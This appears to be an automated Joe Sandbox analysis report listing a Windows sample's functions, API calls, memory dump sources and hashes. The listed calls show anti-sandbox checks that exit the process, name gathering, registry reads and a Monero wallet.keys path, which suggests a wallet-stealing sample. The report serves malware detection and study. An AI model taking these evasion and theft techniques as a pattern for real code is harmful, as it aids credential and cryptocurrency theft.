Instruction Fuzzy Hash: 1F014FB9A54348BFDB10DBE4DC8AFAEB778EB08701F004558FA05AB281D674AA00DB51

Function 007D6490 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 007D9270: GetProcAddress.KERNEL32(74DD0000,012D2368), ref: 007D92B1
Part of subcall function 007D9270: GetProcAddress.KERNEL32(74DD0000,012D2320), ref: 007D92CA
Part of subcall function 007D9270: GetProcAddress.KERNEL32(74DD0000,012D2488), ref: 007D92E2
Part of subcall function 007D9270: GetProcAddress.KERNEL32(74DD0000,012D24A0), ref: 007D92FA
Part of subcall function 007D9270: GetProcAddress.KERNEL32(74DD0000,012D24B8), ref: 007D9313
Part of subcall function 007D9270: GetProcAddress.KERNEL32(74DD0000,012D92B8), ref: 007D932B
Part of subcall function 007D9270: GetProcAddress.KERNEL32(74DD0000,012C5DB0), ref: 007D9343
Part of subcall function 007D9270: GetProcAddress.KERNEL32(74DD0000,012C5DD0), ref: 007D935C
Part of subcall function 007D9270: GetProcAddress.KERNEL32(74DD0000,012D24E8), ref: 007D9374
Part of subcall function 007D9270: GetProcAddress.KERNEL32(74DD0000,012D2218), ref: 007D938C
Part of subcall function 007D9270: GetProcAddress.KERNEL32(74DD0000,012D2248), ref: 007D93A5
Part of subcall function 007D9270: GetProcAddress.KERNEL32(74DD0000,012D2278), ref: 007D93BD
Part of subcall function 007D9270: GetProcAddress.KERNEL32(74DD0000,012C5D90), ref: 007D93D5
Part of subcall function 007D9270: GetProcAddress.KERNEL32(74DD0000,012D2290), ref: 007D93EE

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007C11D0: ExitProcess.KERNEL32 ref: 007C1211

Part of subcall function 007C1160: GetSystemInfo.KERNEL32(?), ref: 007C116A
Part of subcall function 007C1160: ExitProcess.KERNEL32 ref: 007C117E

Part of subcall function 007C1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 007C112B
Part of subcall function 007C1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 007C1132
Part of subcall function 007C1110: ExitProcess.KERNEL32 ref: 007C1143

Part of subcall function 007C1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 007C123E
Part of subcall function 007C1220: ExitProcess.KERNEL32 ref: 007C1294

Part of subcall function 007D6210: GetUserDefaultLangID.KERNEL32 ref: 007D6214

Part of subcall function 007C1190: ExitProcess.KERNEL32 ref: 007C11C6

Part of subcall function 007D72F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007C11B7), ref: 007D7320
Part of subcall function 007D72F0: RtlAllocateHeap.NTDLL(00000000), ref: 007D7327
Part of subcall function 007D72F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 007D733F

Part of subcall function 007D7380: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007D73B0
Part of subcall function 007D7380: RtlAllocateHeap.NTDLL(00000000), ref: 007D73B7
Part of subcall function 007D7380: GetComputerNameA.KERNEL32(?,00000104), ref: 007D73CF

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,012D92C8,?,007E10DC,?,00000000,?,007E10E0,?,00000000,007E0ADA), ref: 007D656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 007D6588
CloseHandle.KERNEL32(00000000), ref: 007D6599
Sleep.KERNEL32(00001770), ref: 007D65A4
CloseHandle.KERNEL32(?,00000000,?,012D92C8,?,007E10DC,?,00000000,?,007E10E0,?,00000000,007E0ADA), ref: 007D65BA
ExitProcess.KERNEL32 ref: 007D65C2

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: ba21093926827ca9f18f724661beb4a7580bddf31a3ac095d153876b04c0132a
Instruction ID: fbfbe1f74483d679eae68407fce52b89d82d650f97fbba787ee90f22c67010ca
Opcode Fuzzy Hash: ba21093926827ca9f18f724661beb4a7580bddf31a3ac095d153876b04c0132a
Instruction Fuzzy Hash: 7A312D71914149EACB04FBF0DC5ABAE7739BF04300F44452AF51366292DFBCAA059662

Function 007C9A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007C9A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 007C9A61
LocalAlloc.KERNEL32(00000040,?), ref: 007C9A81
ReadFile.KERNEL32(000000FF,?,00000000,007C148F,00000000), ref: 007C9AAA
LocalFree.KERNEL32(007C148F), ref: 007C9AE0
FindCloseChangeNotification.KERNEL32(000000FF), ref: 007C9AEA

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: 23fc0e50c562936c9d0abf4cd385e18f2e902c189adb4cea6b7a5c28631c80b9
Instruction ID: d616050dfb52b57ab24ad7b6b35a5c5560416d630445c597a985f44a4bf7f5ab
Opcode Fuzzy Hash: 23fc0e50c562936c9d0abf4cd385e18f2e902c189adb4cea6b7a5c28631c80b9
Instruction Fuzzy Hash: F231E9B4A00209EFDB14CF95C889FAE7BB5BB48304F10815DE911AB390D778AD51CFA0

Function 007D4260 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,012DE080), ref: 007D42BB

Part of subcall function 007D8880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 007D88AB

lstrcat.KERNEL32(?,00000000), ref: 007D42E1
lstrcat.KERNEL32(?,?), ref: 007D4300
lstrcat.KERNEL32(?,?), ref: 007D4314
lstrcat.KERNEL32(?,012CB748), ref: 007D4327
lstrcat.KERNEL32(?,?), ref: 007D433B
lstrcat.KERNEL32(?,012DD760), ref: 007D434F

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007D8830: GetFileAttributesA.KERNEL32(00000000,?,007C1B94,?,?,007E554C,?,?,007E0E07), ref: 007D883F

Part of subcall function 007D4050: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 007D4060
Part of subcall function 007D4050: RtlAllocateHeap.NTDLL(00000000), ref: 007D4067
Part of subcall function 007D4050: wsprintfA.USER32 ref: 007D4086
Part of subcall function 007D4050: FindFirstFileA.KERNEL32(?,?), ref: 007D409D

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: ba1a37d3a7cf4441f200b4b2e561c150dd90d47a057e3662ac826574fb4cc738
Instruction ID: e5dfd4ad2d1279d199c505e4adacf06a506d031c43011f136263bd331425ac72
Opcode Fuzzy Hash: ba1a37d3a7cf4441f200b4b2e561c150dd90d47a057e3662ac826574fb4cc738
Instruction Fuzzy Hash: 8B31D7B291021CE7CB54FBA0DCC9EDD733CAB58304F84859AB71596141EE789B88CFA5

Function 007D3BC0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,012DD6A0,00000000,00020119,?), ref: 007D3C04
RegQueryValueExA.ADVAPI32(?,012DDFD8,00000000,00000000,00000000,000000FF), ref: 007D3C28
RegCloseKey.ADVAPI32(?), ref: 007D3C32
lstrcat.KERNEL32(?,00000000), ref: 007D3C57
lstrcat.KERNEL32(?,012DDEA0), ref: 007D3C6B

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 45bb34719a8120badee71c43c4f81e3bce2f1df761ffc0287f7d3cbcf1d1436a
Instruction ID: f73fd8c519af58c09e2cbb331fb67c5cd215a5a51933789c8a2dcd3566dd3ca7
Opcode Fuzzy Hash: 45bb34719a8120badee71c43c4f81e3bce2f1df761ffc0287f7d3cbcf1d1436a
Instruction Fuzzy Hash: 1241DFB6910108ABCB14EBE0EC9AFED773C6788300F40495DB6555B182EEB55B8D8BD1

Function 6C5EC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C5EC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C5EC969
GetSystemInfo.KERNEL32(?), ref: 6C5EC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C5EC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C5EC9E2

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: a4dab7ff4e5f5aa68f40de9865ddaeabcfbf2b7b2ad86abef25919f996d7b417
Instruction ID: ac4658877bd9bbdbef10ef15c8a14d4ce1a995b046e704cd4f5b36d3604434e8
Opcode Fuzzy Hash: a4dab7ff4e5f5aa68f40de9865ddaeabcfbf2b7b2ad86abef25919f996d7b417
Instruction Fuzzy Hash: BB21FC727412186BDB04EF25DCC4BAE77B9AB8A744FA00519F903E7740EB70BC0487A9

Function 007D78A0 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 007D78D7
RtlAllocateHeap.NTDLL(00000000), ref: 007D78DE
RegOpenKeyExA.KERNEL32(80000002,012CC438,00000000,00020119,?), ref: 007D78FE
RegQueryValueExA.KERNEL32(?,012DD960,00000000,00000000,000000FF,000000FF), ref: 007D791F
RegCloseKey.ADVAPI32(?), ref: 007D7932

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: b3c2adba2827c3ed9478a80fd4cfabbe3621334de7f6a950729530c56ee6b826
Instruction ID: 60432d764ae30906ee781f13540467b98b0ffb3130ea3bb3e428169cf2743414
Opcode Fuzzy Hash: b3c2adba2827c3ed9478a80fd4cfabbe3621334de7f6a950729530c56ee6b826
Instruction Fuzzy Hash: 8A118FB2A48245AFDB04CF94DC89F7BBB78EB48B10F10411AF605AB280D7786D01DBA1

Function 007C12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 007C12B4
RtlAllocateHeap.NTDLL(00000000), ref: 007C12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 007C12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 007C12F5
RegCloseKey.ADVAPI32(?), ref: 007C12FF

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 2b704e0e03299f81f00b3ecd973518d259dc15152d324022f82a080d66bfac60
Instruction ID: adf1ecc91e3a068860a598f6331fd46d86eee433de6e9cc0eb1fc3e4776e501e
Opcode Fuzzy Hash: 2b704e0e03299f81f00b3ecd973518d259dc15152d324022f82a080d66bfac60
Instruction Fuzzy Hash: C30131B9A54248BFDB00DFE0DC89FAEB778FB48701F004158FA059B280D6709A05DB50

Function 007C9FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(012D91F8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 007CA00D
LoadLibraryA.KERNEL32(012DD700), ref: 007CA096

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007DA1F0: lstrlen.KERNEL32(007C4F55,?,?,007C4F55,007E0DC6), ref: 007DA1FB
Part of subcall function 007DA1F0: lstrcpy.KERNEL32(007E0DC6,00000000), ref: 007DA255

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

SetEnvironmentVariableA.KERNEL32(012D91F8,00000000,00000000,?,007E1290,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,007E0AE6), ref: 007CA082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 007CA002, 007CA016, 007CA02C

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
